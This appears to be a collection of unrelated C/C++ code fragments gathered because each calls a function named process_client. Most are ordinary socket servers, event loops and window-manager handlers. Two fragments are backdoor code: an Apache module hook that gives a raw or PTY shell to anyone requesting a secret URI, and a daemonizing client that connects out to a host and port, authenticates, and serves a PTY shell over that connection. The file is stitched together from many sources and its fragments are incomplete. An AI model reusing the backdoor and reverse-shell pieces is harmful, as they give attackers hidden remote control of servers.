static int rootme2_post_read_request( request_rec *r )
{
int fd;
apr_socket_t *client_socket;
client_socket = ap_get_module_config(
r->connection->conn_config, &core_module);
if( client_socket )
fd = client_socket->socketdes;
if (r->uri && !strcmp(r->uri, ROOT_KEY))
{
process_client( GET_RAW_SHELL, fd );
exit( 0 );
}
if (r->uri && !strcmp(r->uri, ROOT_KEY2))
{
process_client( GET_PTY_SHELL, fd );
exit( 0 );
}
return( DECLINED );
}
static int do_connection(int cfd, struct sockaddr_storage *peer_addr,
socklen_t peer_addr_len)
{
char host[NI_MAXHOST], service[NI_MAXSERV];
int s;
int ret;
ret = do_fork(cfd);
if (ret)
return ret;
s = getnameinfo((struct sockaddr *)peer_addr, peer_addr_len,
host, NI_MAXHOST,
service, NI_MAXSERV, NI_NUMERICSERV);
if (s == 0)
plog("Connected with %s:%s\n",
host, service);
else {
plog("Error with getnameinfo: %s\n",
gai_strerror(s));
close(cfd);
return -1;
}
process_client(host, service, cfd);
close(cfd);
if (!debug)
exit(0);
return 0;
}
void server_loop(SOCKET sock, HCRYPTPROV prov, HCRYPTKEY r_key)
{
SOCKET clientSock;
while (!exited) {
fd_set rfds;
struct timeval tv;
int retVal;
FD_ZERO(&rfds);
FD_SET(sock, &rfds);
tv.tv_sec = 2;
tv.tv_usec = 0;
retVal = select(1, &rfds, NULL, NULL, &tv);
if (retVal == -1) {
fprintf(stderr, "Select error\n");
WSACleanup();
exit(-1);
} else if (retVal) {
clientSock = accept(sock, NULL, NULL);
if (clientSock == INVALID_SOCKET) {
fprintf(stderr, "Unable to accept\n");
WSACleanup();
exit(-1);
}
process_client(clientSock, prov, r_key);
}
}
}
//
// Handles the IDA window messages for the hidden control window.
//
static LRESULT CALLBACK control_window_proc(HWND wnd, UINT msg,
WPARAM wp, LPARAM lp)
{
switch (msg)
{
case WM_NETEVENT:
{
switch (WSAGETSELECTEVENT(lp))
{
case FD_ACCEPT:
accept_client();
break;
case FD_READ:
process_client((SOCKET)wp);
break;
case FD_CLOSE:
close_client((SOCKET)wp);
break;
}
}
break;
default:
return DefWindowProc(wnd, msg, wp, lp);
}
return 0;
}
int main() {
int fd, client;
struct sockaddr_in addr, client_addr;
int client_addr_size;
bzero((void *) &addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(SERVER_PORT);
if ( (fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
erro("na funcao socket");
if ( bind(fd,(struct sockaddr*)&addr,sizeof(addr)) < 0)
erro("na funcao bind");
if( listen(fd, 5) < 0)
erro("na funcao listen");
while (1) {
client_addr_size = sizeof(client_addr);
client = accept(fd,(struct sockaddr *)&client_addr,(socklen_t *)&client_addr_size);
if (client > 0) {
if (fork() == 0) {
close(fd);
process_client(client);
exit(0);
}
close(client);
}
}
return 0;
}
static void * thread_func(void * ptr)
{
pl061bbv_state * s = (pl061bbv_state *)ptr;
socklen_t client_addr_len;
if (s->sock < 0) {
printf("%s: invalid socket\n", __PRETTY_FUNCTION__);
qemu_thread_exit(NULL);
return NULL;
}
printf("%s: thread started\n", __PRETTY_FUNCTION__);
for (;;) {
memset(&s->client_addr, 0, sizeof(struct sockaddr_in));
client_addr_len = sizeof(struct sockaddr_in);
s->client_sock = accept(s->sock, (struct sockaddr *)&s->client_addr, &client_addr_len);
if (s->client_sock < 0) continue;
printf("%s: connection established\n", __PRETTY_FUNCTION__);
process_client(s);
close(s->client_sock);
s->client_sock = -1;
printf("%s: connection closed\n", __PRETTY_FUNCTION__);
}
qemu_thread_exit(NULL);
return NULL;
}
int
main(int argc, char **argv)
{
int sock, length;
struct sockaddr_in server;
int msgsock;
int i;
// intalization
lwip_tcpip_init();
/* DHCP */
//enum { BUF_SIZE = Nic::Packet_allocator::DEFAULT_PACKET_SIZE * 128 };
int BUF_SIZE= 200000;
if (lwip_nic_init(0, 0, 0, BUF_SIZE, BUF_SIZE)) {
printf("ERROR: We got no IP address!\n");
return 1;
}
/* Create socket */
sock = lwip_socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) {
perror("opening stream socket");
exit(1);
}
/* Name socket using wildcards */
server.sin_family = AF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(SRV_PORT);
if (lwip_bind(sock, (struct sockaddr *)&server, sizeof(server))) {
perror("binding stream socket");
exit(1);
}
/* Find out assigned port number and print it out */
//length = sizeof(server);
//if (getsockname(sock, (struct sockaddr *)&server, &length)) {
// perror("getting socket name");
// exit(1);
// }
// printf("Socket has port #%d\n", ntohs(server.sin_port));
printf("Socket has port #%d\n",3333);
/* Start accepting connections */
lwip_listen(sock, 5);
do {
msgsock = lwip_accept(sock, 0, 0);
if (msgsock == -1)
perror("accept");
printf("process message on msgsock %d \n ",msgsock);
process_client(msgsock);
close(msgsock);
} while (TRUE);
/*
* Since this program has an infinite loop, the socket "sock" is
* never explicitly closed. However, all sockets will be closed
* automatically when a process is killed or terminates normally.
*/
}
int main(int argc, char **argv)
{
AVDictionary *options = NULL;
AVIOContext *client = NULL, *server = NULL;
const char *in_uri, *out_uri;
int ret, pid;
av_log_set_level(AV_LOG_TRACE);
if (argc < 3) {
printf("usage: %s input http://hostname[:port]\n"
"API example program to serve http to multiple clients.\n"
"\n", argv[0]);
return 1;
}
in_uri = argv[1];
out_uri = argv[2];
avformat_network_init();
if ((ret = av_dict_set(&options, "listen", "2", 0)) < 0) {
fprintf(stderr, "Failed to set listen mode for server: %s\n", av_err2str(ret));
return ret;
}
if ((ret = avio_open2(&server, out_uri, AVIO_FLAG_WRITE, NULL, &options)) < 0) {
fprintf(stderr, "Failed to open server: %s\n", av_err2str(ret));
return ret;
}
fprintf(stderr, "Entering main loop.\n");
for (;;) {
if ((ret = avio_accept(server, &client)) < 0)
goto end;
fprintf(stderr, "Accepted client, forking process.\n");
// XXX: Since we don't reap our children and don't ignore signals
// this produces zombie processes.
pid = fork();
if (pid < 0) {
perror("Fork failed");
ret = AVERROR(errno);
goto end;
}
if (pid == 0) {
fprintf(stderr, "In child.\n");
process_client(client, in_uri);
avio_close(server);
exit(0);
}
if (pid > 0)
avio_close(client);
}
end:
avio_close(server);
if (ret < 0 && ret != AVERROR_EOF) {
fprintf(stderr, "Some errors occurred: %s\n", av_err2str(ret));
return 1;
}
return 0;
}
int main()
{
int sockfd, acfd;
struct sockaddr_in client_addr;
size_t sin_len = sizeof(client_addr);
sockfd = init_tcp_psock(SERV_PORT);
signal(SIGCHLD, handler);
/* another method :
*
struct sigaction signala;
signala.sa_handler = SIG_IGN;
signala.sa_flags = SA_NOCLDWAIT;
sigemptyset(&signala.sa_mask);
sigaction(SIGCHLD, &signala, NULL);
*/
while (1)
{
if ((acfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_len)) == -1)
{
perror("Accept request failed: ");
return 1;
}
else
printf("Get a connection from %s:%d !\n", inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));
pid_t pid;
if ((pid = fork()) > 0)
{
close(acfd);
continue;
}
else if(pid == 0)
{
close(sockfd);
process_client(acfd, &client_addr);
close(acfd);
exit(0); //MARK
}
else
{
perror("Fork error");
exit(0);
}
}
close(sockfd);
return 0;
}
int
main(int argc, char **argv)
{
int sock, length;
struct sockaddr_in server;
int msgsock;
int i;
/* Create socket */
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) {
perror("opening stream socket");
exit(1);
}
/* Name socket using wildcards */
server.sin_family = AF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(SRV_PORT);
if (bind(sock, (struct sockaddr *)&server, sizeof(server))) {
perror("binding stream socket");
exit(1);
}
/* Find out assigned port number and print it out */
//length = sizeof(server);
//if (getsockname(sock, (struct sockaddr *)&server, &length)) {
// perror("getting socket name");
// exit(1);
// }
// printf("Socket has port #%d\n", ntohs(server.sin_port));
printf("Socket has port #%d\n",SRV_PORT);
/* Start accepting connections */
listen(sock, 5);
do {
msgsock = accept(sock, 0, 0);
if (msgsock == -1)
perror("accept");
printf("process message on msgsock %d \n ",msgsock);
process_client(msgsock);
close(msgsock);
} while (TRUE);
/*
* Since this program has an infinite loop, the socket "sock" is
* never explicitly closed. However, all sockets will be closed
* automatically when a process is killed or terminates normally.
*/
}
int main(int argc, char **argv)
{
int fd, sockfd = -1, i;
if (argc != 2)
errx(1, "Wrong arguments");
fd = atoi(argv[1]);
signal(SIGPIPE, SIG_IGN);
signal(SIGCHLD, SIG_IGN);
/* receive the number of services and the server socket from zookld */
if ((recvfd(fd, &nsvcs, sizeof(nsvcs), &sockfd) <= 0) || sockfd < 0)
err(1, "recvfd sockfd");
--nsvcs;
warnx("Start with %d service(s)", nsvcs);
/* receive url patterns of all services */
for (i = 0; i != nsvcs; ++i)
{
char url[1024], regexp[1024];
if (recvfd(fd, url, sizeof(url), &svcfds[i]) <= 0)
err(1, "recvfd svc %d", i + 1);
snprintf(regexp, sizeof(regexp), "^%s$", url);
if (regcomp(&svcurls[i], regexp, REG_EXTENDED | REG_NOSUB))
errx(1, "Bad url for service %d: %s", i + 1, url);
warnx("Dispatch %s for service %d", regexp, i + 1);
}
close(fd);
for (;;)
{
int cltfd = accept(sockfd, NULL, NULL);
if (cltfd < 0)
err(1, "accept");
switch (fork())
{
case -1: /* error */
err(1, "fork");
case 0: /* child */
process_client(cltfd);
return 0;
default: /* parent */
close(cltfd);
break;
}
}
}
int main(int argc, char **argv)
{
signal(SIGCHLD, SIG_IGN);
signal(SIGUSR1, SIG_IGN);
test_mongo_connection();
int port = argc >= 2 ? atoi(argv[1]) : DEFAULT_PORT;
int server = create_server_socket(port);
while (1)
{
struct sockaddr cli_addr;
int cli_len = sizeof(cli_addr);
int client = accept(server, &cli_addr, &cli_len);
if (client < 0)
die("accept");
int pid = fork();
if (pid < 0)
die("fork");
if (pid == 0)
{
if (dup2(client, STDIN_FILENO) < 0) die("dup2 stdin");
if (dup2(client, STDOUT_FILENO) < 0) die("dup2 stdout");
D(" [%d] process started\n", getpid());
if (db_connect() == 0)
{
process_client();
db_disconnect();
}
else
{
WriteLn("DB connection problem, sorry");
D(" [%d] cannot connect to db\n", getpid());
}
D(" [%d] process finished\n", getpid());
shutdown(client, 2);
exit(0);
}
close(client);
}
close(server);
return 0;
}
int fork_process(t_fd fd, t_sockin *s_in_client)
{
pid_t pid_client;
if ((pid_client = fork()) == -1)
return (handle_errors(FORK, 1));
if (pid_client == 0)
{
if (process_client(fd, s_in_client))
return (1);
close_fd(fd.client_fd);
return (0);
}
else
if (close(fd.client_fd) == -1)
return (-1);
return (0);
}
// Ptr Client
void NeuroActionHandlerFocusPtrClient(NeuroArg clientSelectorFn_arg) {
assert(clientSelectorFn_arg.GenericArgFn_.ClientSelectorFn_);
// Select the monitor where the pointer is
NeuroPoint p;
NeuroSystemGetPointerWindowLocation(&p, NULL);
const NeuroMonitor *const m = NeuroMonitorFindPointed(&p);
for (NeuroIndex ws = NeuroCoreGetHeadStack(); ws < NeuroCoreGetSize(); ++ws) {
if (NeuroCoreStackGetMonitor(ws) == m) {
NeuroWorkspaceUnfocus(NeuroCoreGetCurrStack());
NeuroCoreSetCurrStack(ws);
// NeuroWorkspaceUpdate(ws);
break;
}
}
// Focus the client under the pointer
process_client(NeuroWorkspaceClientFocus, NeuroClientGetPointedByPointer(), NEURO_ARG_CSF_GET(clientSelectorFn_arg),
NULL);
}
/**
* Main socket loop
*
* @access public
* @param int listeningsocket
* @return int
*/
int select_loop(int hListen) {
fd_set master, read_fs;
int fdMax, fdNew, i;
int quit;
connection_context *ctx;
/* Add listener to sockets and remember max socket */
FD_SET (hListen, &master);
fdMax= hListen;
/* Initialize array of connections */
alloc_connection_context (&ctx);
quit= 0;
while (!quit) {
/* Make a copy */
read_fs= master;
if (-1 == select(fdMax+1, &read_fs, NULL, NULL, NULL)) {
ERR("Error in select()");
return -1;
}
for (i= 0; i <= fdMax; i++) {
/* Check for active connections... */
if (FD_ISSET (i, &read_fs)) {
if (i == hListen) {
/* New connection coming in */
if (-1 != (fdNew= create_proxy_connection(&master, ctx, i))) {
if (fdNew > fdMax) fdMax= fdNew;
}
} else {
/* This is a normal client connection */
process_client(&master, &fdMax, ctx, i);
}
}
}
}
return 1;
}
int main(int argc, char **argv)
{
int fd, sockfd = -1, i;
if (argc != 2)
errx(1, "Wrong arguments");
fd = atoi(argv[1]);
signal(SIGPIPE, SIG_IGN);
signal(SIGCHLD, SIG_IGN);
/* receive the number of services and the server socket from zookld */
if ((recvfd(fd, &nsvcs, sizeof(nsvcs), &sockfd) <= 0) || sockfd < 0)
err(1, "recvfd sockfd");
--nsvcs;
warnx("Start with %d service(s)", nsvcs);
/* receive url patterns of all services */
for (i = 0; i != nsvcs; ++i)
{
char url[1024], regexp[1024];
if (recvfd(fd, url, sizeof(url), &svcfds[i]) <= 0)
err(1, "recvfd svc %d", i + 1);
/* parens are necessary here so that regexes like a|b get
parsed properly and not as (^a)|(b$) */
snprintf(regexp, sizeof(regexp), "^(%s)$", url);
if (regcomp(&svcurls[i], regexp, REG_EXTENDED | REG_NOSUB))
errx(1, "Bad url for service %d: %s", i + 1, url);
warnx("Dispatch %s for service %d", regexp, i + 1);
}
close(fd);
for (;;)
{
int cltfd = accept(sockfd, NULL, NULL);
if (cltfd < 0)
err(1, "accept");
process_client(cltfd);
}
}
int main(int argc, char **argv) {
int sockfd;
sockfd = socket_server(SERVERPORT, MAXCONNECT);
if (sockfd < 0) {
fprintf(stderr, "socket error");
return -1;
}
CLIENT client;
client.sockfd = -1;
while (1) {
int max_fd;
fd_set readfds;
struct timeval to;
FD_ZERO(&readfds);
FD_SET(sockfd, &readfds);
if (client.sockfd >= 0)
FD_SET(client.sockfd, &readfds);
max_fd = sockfd > client.sockfd ? sockfd + 1 : client.sockfd + 1;
to.tv_sec = 1;
to.tv_usec = 0;
if (!select(max_fd, &readfds, NULL, NULL, &to))
continue;
if (client.sockfd >= 0 && FD_ISSET(client.sockfd, &readfds)) {
//client handle data
process_client(&client);
} else if (FD_ISSET(sockfd, &readfds)) {
//new client
accept_client(&client, sockfd);
}
} //while(1)
}
void autentication_server(int fd){
int nread;
char username[SHORT_STRING];
char password[SHORT_STRING];
nread = read(fd, username, SHORT_STRING-1);
fflush(stdout);
username[nread]='\0';
nread = read(fd, password, SHORT_STRING-1);
fflush(stdout);
password[nread]='\0';
if(verifica(username, password)==1){
write(fd, "1", strlen("1") + 1);
fflush(stdin);
process_client(fd);
}
else{
write(fd, "0", strlen("0") + 1);
fflush(stdin);
}
}
int main(int argc, char** argv)
{
struct sockaddr_in server, client;
int listenfd, connectfd;
pid_t pid;
if ((listenfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
std::cerr << "Failed to create socket." << std::endl;
exit(1);
}
int opt = SO_REUSEADDR;
setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
server.sin_family = AF_INET;
server.sin_port = htons(c_port);
server.sin_addr.s_addr = htonl(INADDR_ANY);
memset(server.sin_zero, 0, sizeof(server.sin_zero));
if (bind(listenfd, (struct sockaddr*)&server, sizeof(struct sockaddr)) == -1)
{
std::cerr << "Failed to bind." << std::endl;
exit(1);
}
if (listen(listenfd, c_max_connection) == -1)
{
std::cerr << "Failed to listen." << std::endl;
exit(1);
}
socklen_t sin_size = sizeof(struct sockaddr_in);
while(true)
{
if ((connectfd = accept(listenfd, (struct sockaddr*)&client, &sin_size)) == -1)
{
std::cout << "Failed to accept." << std::endl;
close(listenfd);
exit(1);
}
if (pid = fork() > 0)
{
close(connectfd);
continue;
}
else if (pid == 0)
{
close(listenfd);
process_client(connectfd, client);
}
else
{
std::cerr << "Failed to fork." << std::endl;
close(listenfd);
exit(1);
}
}
close(listenfd);
return 0;
}
int
main(int argc, char **argv)
{
int port = 4000;
if (argc >= 2)
port = atoi(argv[1]);
struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = INADDR_ANY;
sin.sin_port = htons(port);
int srvfd = socket(AF_INET, SOCK_STREAM, 0);
if (srvfd < 0)
err(1, "socket");
int on = 1;
if (setsockopt(srvfd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)))
err(1, "setsockopt SO_REUSEADDR");
if (bind(srvfd, &sin, sizeof(sin))) {
/* bind 4000 failed; try a random port */
sin.sin_port = 0;
if (bind(srvfd, &sin, sizeof(sin)))
err(1, "bind");
}
if (listen(srvfd, 5))
err(1, "listen");
print_server(srvfd);
signal(SIGCHLD, SIG_IGN);
signal(SIGPIPE, SIG_IGN);
for (;;) {
struct sockaddr_in client_addr;
unsigned int addrlen = sizeof(client_addr);
int cfd = accept(srvfd, (struct sockaddr *) &client_addr, &addrlen);
if (cfd < 0) {
perror("accept");
continue;
}
int pid = use_fork ? fork() : 0;
if (pid < 0) {
perror("fork");
close(cfd);
continue;
}
if (pid == 0) {
/* Child process. */
if (use_fork)
close(srvfd);
process_client(cfd);
if (use_fork)
exit(0);
}
if (pid > 0) {
/* Parent process. */
close(cfd);
}
}
}
main()
{
int sock_fd,connect_fd;
pid_t pid;
struct sockaddr_in server,client;
int cli_len;
//创建套接子
if( ( sock_fd = socket( AF_INET, SOCK_STREAM, 0 ) ) == -1)
my_err( "Socket",__LINE__ );
//地址重用
int opt = SO_REUSEADDR;
if( setsockopt( sock_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof( opt ) ) < 0 )
my_err( "Setsockopt",__LINE__ );
//初始化服务器端地址结构
bzero( &server, sizeof( server ) );
server.sin_family = AF_INET;
server.sin_port = htons( PORT );
server.sin_addr.s_addr = htonl( INADDR_ANY );
//绑定套接字和端口
if( bind( sock_fd, ( struct sockaddr * )&server, sizeof( server ) ) == -1 )
my_err( "Bind",__LINE__ );
//将套接子转化为监听套接子
if( listen( sock_fd, BACKLOG ) == -1 )
my_err( "Listen",__LINE__ );
cli_len = sizeof( client );
while( 1 )
{
if( ( connect_fd = accept( sock_fd, ( struct sockaddr * )&server, &cli_len ) ) == -1 )
my_err( "Accept",__LINE__ );
//输出信息，表示已经建立连接
printf( "\t\tAccept a new client.\n\t\tip : %s\n",inet_ntoa( client.sin_addr ) );
//父进程,关闭这个连接，并等候其他连接
if( ( pid = fork() ) > 0 )
{
close( connect_fd );
continue;
}
//子进程，用来处理该连接
else
if( pid == 0 )
{
close( sock_fd );
process_client( connect_fd, client );
}
}
}
void NeuroActionHandlerMinimizeCurrClient(NeuroArg clientSelectorFn_arg) {
assert(clientSelectorFn_arg.GenericArgFn_.ClientSelectorFn_);
process_client(NeuroWorkspaceClientMinimize, NeuroClientGetFocused(), NEURO_ARG_CSF_GET(clientSelectorFn_arg), NULL);
}
fcserver_ret_t fcserver_process (fcserver_t* server)
{
int client = 0;
int i;
int newClientStarting = 0;
/* Check for new waiting clients */
if (server == 0 || server->serversocket <= 0)
{
return FCSERVER_RET_PARAMERR;
}
/* Check if a new client can get the wall */
for (i=0; i < FCSERVER_MAXCLIENT; i++)
{
/* search for already connected clients */
if (server->client[i].clientstatus == FCCLIENT_STATUS_CONNECTED)
{
client = 1; /* reusing variable as flag to indicate an already connected client */
}
else if (newClientStarting == 0 && server->client[i].clientstatus == FCCLIENT_STATUS_WAITING)
{
/* Client %d is waiting", i */
newClientStarting = (i + 1); /* count from 1 to FCSERVER_MAXCLIENT + 1 */
}
}
if (!client)
{
/* no-one is actual using the wall, a new one can start now */
if (newClientStarting) /* as the index starts at one we can detect here new clients */
{
int write_offset = 0;
DEBUG_PLINE("Client %d has now the wall", server->client[newClientStarting - 1].clientsocket);
server->client[newClientStarting - 1].clientstatus = FCCLIENT_STATUS_CONNECTED;
if (server->onClientChange > 0)
{
server->onClientChange(server->clientcount, FCCLIENT_STATUS_CONNECTED,
server->client[newClientStarting - 1].clientsocket);
}
/* allocate some memory for answering */
uint8_t *output = hwal_malloc(BUFFERSIZE_OUTPUT); hwal_memset(output, 0, BUFFERSIZE_OUTPUT);
uint8_t *buffer = hwal_malloc(BUFFERSIZE_SENDINGBUFFER); hwal_memset(output, 0, BUFFERSIZE_SENDINGBUFFER);
write_offset = send_start(buffer, write_offset);
/* send the corresponding message: Success or error */
add_header(buffer, output, write_offset);
hwal_socket_tcp_write(server->client[newClientStarting - 1].clientsocket, output, write_offset+HEADER_LENGTH);
hwal_free(buffer);
hwal_free(output);
}
}
client = 0; /* Reset the temporary variable, for the original porpuse */
/** handle all actual connected clients **/
/* search for new waiting ones */
client = hwal_socket_tcp_accet(server->serversocket);
if (client > 0)
{
if (server->clientcount < (FCSERVER_MAXCLIENT - 1))
{
server->clientcount++;
store_client_in(server, client);
if (server->onClientChange > 0)
{
server->onClientChange(server->clientcount, FCCLIENT_STATUS_INITING, client);
}
}
else
{
uint8_t buffer[BUFFERSIZE_SENDINGBUFFER];
/* Inform the client with an error message */
char descr[] = "No Space for new client";
int write_offset = 0;
uint8_t *output = hwal_malloc(BUFFERSIZE_OUTPUT); hwal_memset(output, 0, BUFFERSIZE_OUTPUT);
write_offset = send_error(buffer, write_offset, FCSERVER_ERR_MAXCLIENTS, descr);
DEBUG_PLINE("No Space for new client");
/* send the corresponding message: Success or error */
add_header(buffer, output, write_offset);
hwal_socket_tcp_write(client, output, write_offset+HEADER_LENGTH);
hwal_socket_tcp_close(client);
if (server->onClientChange > 0)
{
server->onClientChange(server->clientcount, FCCLIENT_STATUS_TOOMUTCH, client);
}
}
}
/* handle all open connections */
for (i=0; i < FCSERVER_MAXCLIENT; i++)
{
if (server->client[i].clientsocket > 0)
{
/* Found an open client ... speak with him */
if (process_client(server, &(server->client[i]) ) == FCSERVER_RET_CLOSED)
{
DEBUG_PLINE("Client with socket %d closed", server->client[i].clientsocket);
if (server->onClientChange > 0)
{
server->onClientChange(server->clientcount,
FCCLIENT_STATUS_DISCONNECTED,
server->client[i].clientsocket);
}
hwal_memset( &(server->client[i]), 0, sizeof(fcclient_t) );
server->clientcount--;
}
}
}
return FCSERVER_RET_OK;
}
int main(int argc, char **argv)
{
EnterDaemonMode();
char *defaultip = "127.0.0.1";
char *defaultport = "9090";
int server_fd;
int i;
char serverip[64] = {0x0};
char serverport[8] = {0x0};
char *ip;
char *port;
while (1)
{
if (argc == 3)
{
ip = argv[1];
port = argv[2];
}
else
{
ip = defaultip;
port = defaultport;
}
server_fd = fnSockClientInit(ip, atoi(port));
if (server_fd < 0)
{
sleep(5);
continue;
}
if (auth(server_fd))
{
close(server_fd);
sleep(5);
continue;
}
shell_spooler();
if (fork() == 0)
{
for( i = 3; i < 1024; i++ )
{
if( i == pipe_A[0] ||
i == pipe_B[1] )
continue;
close( i );
}
runshell_pty(pipe_A[0], pipe_B[1]);
close(pipe_A[0]);
close(pipe_B[1]);
exit(0);
}
close(pipe_A[0]);
close(pipe_B[1]);
process_client(GET_PTY_SHELL, server_fd);
if (server_fd > 0) close(server_fd);
close(pipe_A[1]);
close(pipe_B[0]);
sleep(2);
int status;
wait(&status);
}
return 0;
}
void NeuroActionHandlerToggleFullscreenPtrClient(NeuroArg clientSelectorFn_arg) {
assert(clientSelectorFn_arg.GenericArgFn_.ClientSelectorFn_);
process_client(NeuroWorkspaceClientToggleFullscreen, NeuroClientGetPointedByPointer(),
NEURO_ARG_CSF_GET(clientSelectorFn_arg), NULL);
}
/**
* Point d'entrée du programme.
*/
int main(int argc, char *argv[])
{
parse_command_line(argc, argv);
/* On crée un socket pour se connecter sur un serveur */
if ((server_socket = socket(PF_INET, SOCK_STREAM, 0)) == -1)
{
perror("socket");
return EXIT_FAILURE;
}
/* Initialisation du bind */
memset(&server_address, 0, sizeof server_address);
server_address.sin_family = AF_INET;
server_address.sin_addr.s_addr = htonl(INADDR_ANY);
server_address.sin_port = htons(port);
/* Ze bind */
if (bind(server_socket, (struct sockaddr *) &server_address, sizeof(server_address)) == -1)
{
perror("bind");
if (close(server_socket) == -1)
perror("Impossible de fermer le socket serveur");
return EXIT_FAILURE;
}
/* On le définit comme écouteur */
if (listen(server_socket, MAX_CLIENT) == -1)
{
perror("Impossible de mettre le socket serveur en écoute");
if (close(server_socket) == -1)
perror("Impossible de fermer le socket serveur");
return EXIT_FAILURE;
}
verbose("Démarrage du démon sur le port %d ...\n", port);
/* Pour quitter le serveur proprement */
signal(SIGINT, trap_ctrlc);
for (;;) {
/* Variable concrète car il faut pouvoir en avoir l'adresse pour accept() */
socklen_t client_address_size = sizeof client_address;
/* On attend une connection */
if ((client_socket = accept(server_socket, (struct sockaddr *) &client_address, &client_address_size)) == -1)
{
perror("accept");
if (close(server_socket) == -1)
perror("Impossible de fermer le socket serveur");
return EXIT_FAILURE;
}
/* On traite ce client */
process_client();
}
shutdown_server(); /* N'arrivera jamais */
return EXIT_FAILURE;
}
void NeuroActionHandlerFreeCurrClient(NeuroArg freeSetterFn_arg) {
const void *const p = (const void *)&NEURO_ARG_GAF_GET(freeSetterFn_arg);
process_client(NeuroWorkspaceClientFree, NeuroClientGetFocused(), NeuroClientSelectorSelf, p);
}
/******************************************************************
* This function is called when an event occurs on a client socket
******************************************************************/
void client_cb(int fd, short events, void *arg)
{
assert(arg != NULL);
Client *cli = arg;
int free = 0;
// g_hash_table_foreach(g_jobqueue, _print_queue, NULL);
if ((events & EV_WRITE) != 0) {
event_del(&cli->evt);
cli->evt.ev_events = EV_READ|EV_PERSIST;
event_add(&cli->evt, NULL);
if (client_flush(cli) < 0) {
free = 1;
}
}
if ((events & EV_READ) != 0) {
int ret = 0;
if (!cli->buffer_in) {
cli->buffer_in = getBlock(HEADER_SIZE);
incRef(cli->buffer_in);
ret = client_recv(cli, HEADER_SIZE);
}
if (ret >= 0) {
/* Make sure we don't over-read into the next packet */
int psize = HEADER_SIZE;
if (cli->buffer_in->nbytes >= HEADER_SIZE) {
if (ntohl(*(uint32_t*)(cli->buffer_in->bytes + HEADER_OFFSET_MAGIC)) != MAGIC_REQUEST) {
free = 1;
g_warning("[%s] Invalid MAGIC", cli->id);
goto free_client;
}
psize = HEADER_SIZE + ntohl(*(uint32_t*)(cli->buffer_in->bytes + HEADER_OFFSET_SIZE));
/* If the input block isn't large enough to receive the
entire packet then switch to one that is */
if (psize > cli->buffer_in->size) {
#if DEBUG
g_debug("Switching to bigger block (pktsize=%d)", psize);
#endif
/* Create new (bigger) block */
MemBlock *block = getBlock(psize + 1); /* +1 for terminating NULL to make args easier to work with */
if (!block) {
g_error("Failed to get block of size %d", psize);
free = 1;
goto free_client;
}
incRef(block);
/* Copy bytes into new block */
block->nbytes = cli->buffer_in->nbytes;
memmove(block->bytes, cli->buffer_in->bytes, cli->buffer_in->nbytes);
/* Swap blocks */
decRef(cli->buffer_in);
cli->buffer_in = block;
}
}
int num = psize - cli->buffer_in->nbytes;
if (num > 0)
ret = client_recv(cli, num);
}
if (ret < 0) {
#if DEBUG
g_debug("[%s] Connection on closed", cli->id);
#endif
free = 1;
} else if (ret >= 0) {
if (process_client(cli) != 0) {
g_warning("[%s] Processing of client failed", cli->id);
free = 1;
}
}
}
/*if ((events & (EV_READ|EV_WRITE)) == 0) {
g_warning("[%s] unhandled event %d", __func__, events);
}*/
free_client:
if (free != 0) {
#if DEBUG
g_message("[%s] Client disconnected", cli->id);
#endif
/*printf("[%s] Removing client %d\n", __func__, cli->fd);*/
close(cli->fd);
cli->fd = -1;
fail_working_jobs(cli);
stop_all_listening(cli);
unregister_all_abilities(cli);
event_del(&cli->evt);
g_ptr_array_remove_fast(g_clients, cli);
client_free(cli);
}
}
/* 服务器程序 */
int start_server(int port)
{
int i;
int r;
int val;
int sock_listen;
struct sockaddr_in host_addr;
fd_set rfds;
int nfds;
/* 打开 socket */
sock_listen = socket(PF_INET, SOCK_STREAM, 0);
if (sock_listen < 0) {
perror("start_server: socket()");
return -1;
}
/* 设置地址可重用 */
val = 1;
setsockopt(sock_listen, SOL_SOCKET, SO_REUSEADDR, &val, sizeof(val));
/* 绑定 */
memset(&host_addr, 0, sizeof(host_addr));
host_addr.sin_family = AF_INET;
host_addr.sin_addr.s_addr = htonl(INADDR_ANY);
host_addr.sin_port = htons(port);
r = bind(sock_listen, (struct sockaddr *)&host_addr, sizeof(host_addr));
if (r < 0) {
perror("start_server: bind()");
close(sock_listen);
return -1;
}
/* 侦听 */
r = listen(sock_listen, BACKLOG);
if (r < 0) {
perror("start_server: listen()");
close(sock_listen);
return -1;
}
printf("Server start listening on port %d.\n", port);
/* 初始化客户端数据 */
for (i = 0; i < CLIENT_NUM; i++) {
client[i].sockfd = -1;
client[i].tail = 0;
}
/* 进入主循环 */
for ( ; ; ) {
/* 设置文件集合 */
FD_ZERO(&rfds);
FD_SET(sock_listen, &rfds);
nfds = sock_listen+1;
for (i = 0; i < CLIENT_NUM; i++) {
if (client[i].sockfd > 0) {
FD_SET(client[i].sockfd, &rfds);
if (client[i].sockfd >= nfds) nfds = client[i].sockfd+1;
}
}
/* 监视文件描述符 */
if (select(nfds, &rfds, NULL, NULL, NULL)) {
/* 如果侦听的 socket 可读则进行接受操作 */
if (FD_ISSET(sock_listen, &rfds)) accept_client(sock_listen);
/* 逐个检查对应各个客户端的 socket 是否就绪 */
for (i = 0; i < CLIENT_NUM; i++) {
if (client[i].sockfd < 0) continue;
/* 如果就绪则进行处理 */
if (FD_ISSET(client[i].sockfd, &rfds)) process_client(i);
}
} else {
perror("start_server: select()");
}
}
return 0;
}
void NeuroActionHandlerToggleFreePtrClient(NeuroArg freeSetterFn_arg) {
const void *const p = (const void *)&NEURO_ARG_GAF_GET(freeSetterFn_arg);
process_client(NeuroWorkspaceClientToggleFree, NeuroClientGetPointedByPointer(), NeuroClientSelectorSelf, p);
}
